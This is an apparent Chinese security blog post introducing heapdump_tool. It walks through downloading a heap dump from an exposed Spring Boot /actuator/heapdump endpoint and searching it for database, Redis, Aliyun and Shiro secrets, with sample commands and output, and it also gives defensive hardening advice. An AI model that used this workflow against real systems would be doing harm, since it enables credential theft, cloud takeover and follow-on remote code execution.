heapdump_tool — 从 JVM 堆转储中提取你的数据库密码

heapdump_tool — 从 JVM 堆转储中提取你的数据库密码

title: "heapdump_tool — 一行命令,Spring Boot 堆文件中捞出数据库密码"
date: 2026-05-18
categories: [安全工具, 渗透测试]
tags: [heapdump, Spring Boot, 信息泄露, 密码提取]
image: heapdump_demo.png

💣 heapdump_tool — 从 JVM 堆转储中提取你的数据库密码

前言

在 Spring Boot 应用的渗透测试中,有一个非常经典的信息泄露链条:

发现 /actuator → 发现 /actuator/heapdump → 下载堆文件 → 提取明文密码

很多企业的 Spring Boot 应用暴露了 heapdump 端点却没有做任何访问控制,导致攻击者可以直接下载完整的 JVM 堆转储文件。而堆文件中,往往包含:

  • 数据库连接密码(明文!)
  • Redis 密码
  • 阿里云 AccessKey / SecretKey
  • 内部 API Token
  • Shiro key(可进一步反序列化利用)
  • HTTPS 证书密钥

这就是今天要介绍的工具 —— heapdump_tool 的用武之地。

工具简介

heapdump_tool 由安全研究员 wyzxxz 开发,是一个基于 jhat 的 JVM 堆转储分析工具:

https://github.com/wyzxxz/heapdump_tool

它不依赖任何 GUI,一行命令就能从 GB 级别的堆文件中精准提取敏感信息。

图片[1]-heapdump_tool — 从 JVM 堆转储中提取你的数据库密码-吾要学习 - 安全审计 / 漏洞复现 / AI 安全工具

🎯 典型攻击场景

1. 访问 http://target/actuator
   发现 heapdump 端点可访问

2. 下载堆文件
   wget http://target/actuator/heapdump -O heapdump.6

3. 用工具提取密码
   java -jar heapdump_tool.jar heapdump.6

4. 输入 keyword 搜索 → ⚡ 密码当场到手!

✨ 支持的查询方式

heapdump_tool 提供了极其灵活的查询语法:

查询方式 示例 用途
关键词搜索 password 直接搜索含”password”的字符串
关键词搜索 accessKey 搜索阿里云 AccessKey
关键词搜索 secret 搜索密钥信息
正则搜索 re=\d{3,} 自定义正则匹配
字符长度 len=16 获取所有长度为16的值(如 Token)
按序获取 num=1-100 查看前100条记录
Class 搜索 class=shiro.web.mgt 分析 Shiro RememberMe 配置
Class 搜索 class=redis 提取 Redis 连接信息
Shiro Key shirokey 自动识别 Shiro 密钥
URL 提取 geturl 提取所有字符串中的 URL
IP 提取 getip 提取所有 IP 地址
系统属性 systemproperties 读取 JVM 系统属性
Hashtable hashtable 读取完整的 Hashtable 数据

💡 新版本还支持 all=true 显示所有非 K-V 格式的数据,方便全面排查。

🔥 实战演示

假设通过信息收集,你已经获取了一个 Spring Boot 应用的堆转储文件 heapdump.6

$ java -jar heapdump_tool.jar heapdump.6

提取数据库密码

>>> spring.datasource.password
>> spring.datasource.password → test@wyzxxz

直接命中!数据库密码明文展示,无需任何解密。

提取阿里云密钥

>>> accesskey
>> accessKey → LTAI**************
>> secretKey → 6Yi********************

有了 AccessKey + SecretKey,攻击者可以直接接管你的阿里云资源。

提取 Shiro Key

>>> shirokey
>> kPH+bIxk5D2deZiIxcaaaA==

拿到 Shiro Key 后,可进一步构造反序列化攻击链,实现远程命令执行。

Class 深度分析

>>> class=shiro.web.mgt
  → CookieRememberMeManager
  → AesCipherService (keySize=128, mode=CBC)
  → encryptionCipherKey → [EXTRACTED]
  → decryptionCipherKey → [EXTRACTED]

直接看到 RememberMe Cookie 的加密密钥,攻击者可以伪造任意用户身份。

>>> class=redis
  → RedisServer: redis://10.0.0.5:6379
  → password: Redis@2024!Secret

Redis 服务器的地址和密码也一览无余,如果 Redis 同时暴露在公网,后果不堪设想。

🚀 安装使用

前提

需要安装 JDK 1.8+(因为底层依赖 jhat 命令解析堆文件)

# 验证 jhat 是否可用
jhat -version

下载 JAR

从 GitHub 仓库获取最新版 JAR:

git clone https://github.com/wyzxxz/heapdump_tool.git
cd heapdump_tool
# JAR 文件可从飞寄盘下载(见仓库 README)

使用

# 基本用法
java -jar heapdump_tool.jar <heapdump文件路径>

# 例如
java -jar heapdump_tool.jar heapdump.6

工具启动后会先解析堆文件,然后进入交互式查询模式,直接输入关键词即可。

⚠️ 防护建议

如果你的 Spring Boot 应用需要暴露 Actuator 端点,请务必:

  1. 关闭 heapdump 端点management.endpoints.web.exposure.exclude=heapdump
  2. 或添加访问控制:结合 Spring Security 限制 actuator 路径只能内网访问
  3. 敏感数据脱敏:不要在配置文件中存放明文密码,使用加密存储 + 密钥管理服务(如阿里云 KMS、Vault)
  4. 定期审核:检查生产环境是否无意识暴露了 actuator 端点

总结

heapdump_tool 最可怕的地方在于——不需要任何技术门槛。只要你能下载到一个堆文件,一句 java -jar 加一个关键词搜索,所有密码就摆在你面前。

对于企业安全团队而言,建议立刻自查:

  • 你的 Spring Boot 应用有没有暴露 /actuator/heapdump
  • 用 heapdump_tool 测一下,看看能捞出什么”惊喜”。

传送门: https://github.com/wyzxxz/heapdump_tool


本文仅用于技术安全研究,请勿用于非法用途。请务必在合法授权范围内使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容